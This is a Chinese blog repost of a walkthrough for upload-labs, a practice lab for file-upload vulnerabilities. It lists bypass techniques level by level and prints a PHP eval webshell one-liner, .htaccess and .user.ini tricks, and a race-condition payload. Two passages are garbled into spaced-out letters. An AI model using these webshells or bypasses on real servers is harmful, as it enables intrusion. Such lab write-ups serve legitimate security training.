我是靠谱客的博主 懦弱书包,最近开发中收集的这篇文章主要介绍upload-labs 通关攻略,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

项目地址:https://github.com/c0ny1/upload-labs
参考:

https://blog.csdn.net/weixin_44426869/article/details/104236854

1、上传漏洞总结

image-20210214132039862

2、upload_labs

1、客户端使用JS校验

直接禁用JS即可,或者直接F12重新定义一下校验函数,使校验函数无效。

image-20210215211431509

2、修改content-type

image-20210215211550196

使用burp抓包,修改Content-Type的值为image/jpeg,成功绕过。

3、使用特殊后缀绕过

image-20210215211809879

使用特殊后缀php3、phtml等。

4、.htaccess

AddType application/x-httpd-php .png

先上传.htaccess文件,再上传png木马

5、黑名单验证,.user.ini

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。

6、大小写绕过

7、空格绕过

没有对后缀名进行去空处理,可在后缀名中加空绕过

8、点号绕过

没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

9、特殊字符::$DATA绕过

没有对:: D A T A 做 过 滤 , 选 择 选 择 后 缀 为 ‘ . p h p ‘ 的 一 句 话 上 传 , 抓 包 后 在 后 面 增 加 ‘ : : DATA做过滤,选择选择后缀为`.php`的一句话上传,抓包后在后面增加`:: DATA.php::DATA`,上传成功。

10、点空格点绕过

image-20210215215040042

11、双写绕过

12、%00截断

image-20210215215216100

13、0x00截断

image-20210215215509401

14、直接上传一个图片马

copy 1.jpg/b + 1.txt/b 2.jpg

image-20210215215840911

15-17类似

18、为条件竞争

image-20210215220335892

绕过过程:不断上传文件,在文件还没被删除前去读取文件,若上传内容为<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"])?>');?>,则还没被删除前去读取文件,解析之后会写入一个内容为<?php @eval($_POST["pass"])?>2.php文件。使用BurpSuite的Intruder不断上传文件并不断访问所上传的文件。
注:"pass"一定要双引号,不然单引号之间乱了。

19、直接图片马

20、代码审计

image-20210215221905478

image-20210215221921642

image-20210215221953100

通过审计代码得知 f i l e e x t = p a t h i n f o ( file_ext = pathinfo( fileext=pathinfo(file_name,PATHINFO_EXTENSION);就是提取文件名后缀。而$file_name是我们设置的保存名称,直接加点号绕过即可。

image-20210215222129456

21、代码审计

image-20210215223150203

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

最后

以上就是懦弱书包为你收集整理的upload-labs 通关攻略的全部内容,希望文章能够帮你解决upload-labs 通关攻略所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部